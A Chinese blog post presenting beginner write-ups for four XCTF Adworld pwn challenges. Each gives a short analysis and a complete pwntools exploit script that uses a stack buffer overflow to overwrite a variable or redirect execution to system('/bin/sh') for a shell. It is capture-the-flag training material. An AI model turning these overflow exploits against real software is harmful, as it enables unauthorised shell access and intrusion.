攻防世界pwn

攻防世界:https://adworld.xctf.org.cn/login?prev=%2Ftask

小白做的简单题

where_did_you_born
checksec,64位程序


ida 查看
main

可以看出当 v5 = 1926 时就可以 catflag,但是在第一个 if 判断中当 v5 = 1926 时就直接忽略了 else 判断,看到 gets 函数要求输入 v4,同时 gets 函数是一个可以无限输入数据的函数,所以可以利用 v4 来覆盖 v5,让 v5 = 1926。
v4 和 v5 的地址相差为 0x20 - 0x18 = 0x8



exp

#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./where_did_you_born')
#p = remote("111.198.29.45","54215")

p.recvuntil('Birth?')
p.sendline('1925')

p.recvuntil('Name?')
payload = 'A' * 8 + p64(1926)

p.sendline(payload)
p.interactive()

level0
checksec,64位程序


ida 查看,存在溢出,并且程序中存在 system('/bin/sh')

vulnerable_function

callsystem

callsystem 地址


exp

#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./level0')
#p = remote('111.198.29.45','35394')

callsystem = 0x0400596

payload = 'A' * 0x80
payload += p64(0)
payload += p64(callsystem)

p.sendline(payload)
p.interactive()

level2
checksec,32位程序


ida 查看,存在溢出,程序中 system 函数的参数不对,但同时程序中存在 /bin/sh 字符串

vulnerable_function

main


ida 查看 system 函数和 /bin/sh 字符串的地址

system

/bin/sh

exp

#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./level2')
#p = remote('111.198.29.45','52640')

system = 0x08048320
bin_sh = 0x0804A024

payload = 'A' * 0x88
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)

p.sendline(payload)
p.interactive()

cgpwn2
checksec,32位程序


ida 查看,存在 system 函数,但是没有 /bin/sh 字符串

hello

hello

system

利用 fgets 函数将 /bin/sh 写入 bss 段



exp

#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./cgpwn2')
#p = remote('111.198.29.45',57244)

system = 0x08048420
bss = 0x0804A080

p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')

payload = 'A' * 0x26
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bss)

p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • checksec一下 试运行一下,有两个输入 放入64位IDA 我们输入v5时又不能输入1926,但是下面判断时又...
    杰_74阅读 880评论 0 0
  • checksec后试运行,有两个输入 32位ida 点进去hello() 可以利用fgets和gets栈溢出 发现...
    杰_74阅读 559评论 0 0
  • checksec然后试运行 放入64位ida,看看main函数 点击read函数里的unk_601068,再点击i...
    杰_74阅读 1,751评论 0 0
  • checksec然后试运行 放入64位IDA,F5大法 发现callsystem函数 找到callsystem的地...
    杰_74阅读 704评论 0 0
  • 大爱的李老师,智慧的班主任,诸位亲爱的学兄们,大家好!我是青岛环宇印刷广告的谭京芳,今天(2019年2月1日)是我...
    2819336a9c2b阅读 102评论 0 1